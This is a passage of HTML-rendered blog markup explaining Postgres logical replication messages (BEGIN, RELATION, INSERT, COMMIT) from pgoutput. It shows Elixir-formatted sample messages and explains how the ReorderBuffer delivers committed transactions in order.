&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:commit&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;payload: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:commit&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;commit_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D7E10&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;tx_end_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D7E40&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D7E40&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;latest_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D7E40&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s discuss them in detail, starting at the top.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-begin&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-begin&quot;&gt;&lt;/a&gt;The BEGIN&lt;/h3&gt;
&lt;pre id=&quot;code-block-21&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:begin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;payload: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:begin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn_end: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D7E10&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;tx_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;385169&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D6730&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;latest_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D6730&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;BEGIN&lt;/code&gt; message starts the transaction, but if you compare the &lt;code&gt;lsn_end&lt;/code&gt; and &lt;code&gt;commit_lsn&lt;/code&gt; fields in the &lt;code&gt;BEGIN&lt;/code&gt; and &lt;code&gt;COMMIT&lt;/code&gt; message, you&apos;ll see that it already contains the LSN of the &lt;code&gt;COMMIT&lt;/code&gt; message!&lt;/p&gt;
&lt;p&gt;So, how does the &lt;code&gt;BEGIN&lt;/code&gt; message know when the transaction will commit?&lt;/p&gt;
&lt;p&gt;The reason for this is Postgres&apos; &lt;a href=&quot;https://github.com/postgres/postgres/blob/cf8be022538937fe9fe22de776fb8cfe6460a784/src/backend/replication/logical/reorderbuffer.c#L14&quot;&gt;ReorderBuffer&lt;/a&gt; which buffers WAL records before forwarding them to &lt;code&gt;pgoutput&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The ReorderBuffer doesn&apos;t send the WAL records as they come in, but it first buffers and reorders them - hence the name - and only sends them to &lt;code&gt;pgoutput&lt;/code&gt; when the transaction commits. If a transaction is rolled back, it won&apos;t forward the messages &lt;a href=&quot;https://www.postgresql.org/docs/15/logicaldecoding-output-plugin.html&quot;&gt;(see 49.6.4)&lt;/a&gt; and we&apos;ll never receive them either. The ReorderBuffer forwards messages in sequence one transaction at a time, not in parallel. When &lt;code&gt;pgoutput&lt;/code&gt; receives these messages, it prepends a &lt;code&gt;BEGIN&lt;/code&gt; message to indicate the beginning of a transaction, and sends them our way.&lt;/p&gt;
&lt;p&gt;All of this means you don&apos;t have to worry about receiving messages out-of-order or interleaved with messages from other transactions (at least not if you use &lt;code&gt;proto_version &apos;1&apos;&lt;/code&gt;), or handling rolled back vs committed transactions. Our listener will always receive ordered messages for one committed transaction at a time. Thank you Postgres!&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-relation&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-relation&quot;&gt;&lt;/a&gt;The RELATION&lt;/h3&gt;
&lt;pre id=&quot;code-block-22&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:relation&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;payload: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:relation&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;columns: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;4294967295&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1043&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;259&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;from&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1114&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;until&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1114&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;inserted_at&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1114&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;updated_at&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;flag: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data_type_oid: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1114&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type_modifier: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;relation_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;26378&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;namespace: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;public&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;relation_name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;meetings&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;replica_identity_setting: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:default&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;0/0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;latest_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;0/0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pgoutput&lt;/code&gt; is so kind to send us the schema of the table before sending us the changes that were applied to it. It only sends it once per session but whenever we restart our connection, it will send it again.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Relation&lt;/code&gt; message contains basic information of our table columns like their &lt;code&gt;name&lt;/code&gt;, whether they are part of the primary key (&lt;code&gt;flag: 1&lt;/code&gt;), which data type they use (&lt;code&gt;data_type_oid&lt;/code&gt;), and whether their data type is modified (&lt;code&gt;type_modifier&lt;/code&gt; which is equal to &lt;code&gt;atttypmod&lt;/code&gt;), for example if a varchar column has a maximum length modifier.&lt;/p&gt;
&lt;p&gt;It also contains the namespace and table name which is handy to connect the relation to an Ecto Schema. It also contains the &lt;code&gt;relation_id&lt;/code&gt;, which is the table &lt;code&gt;Object Identifier (OID)&lt;/code&gt;. This OID is useful to connect a table with the &lt;code&gt;INSERT&lt;/code&gt; message we will look at next.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-insert&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-insert&quot;&gt;&lt;/a&gt;The INSERT&lt;/h3&gt;
&lt;pre id=&quot;code-block-23&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;payload: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;data: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;55&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Test Meeting&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2025-01-01 10:00:00&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2025-01-01 11:00:00&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2025-11-03 14:18:03&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;value: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;2025-11-03 14:18:03&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;length: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;relation_id: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;26378&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D6730&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;latest_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D6730&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
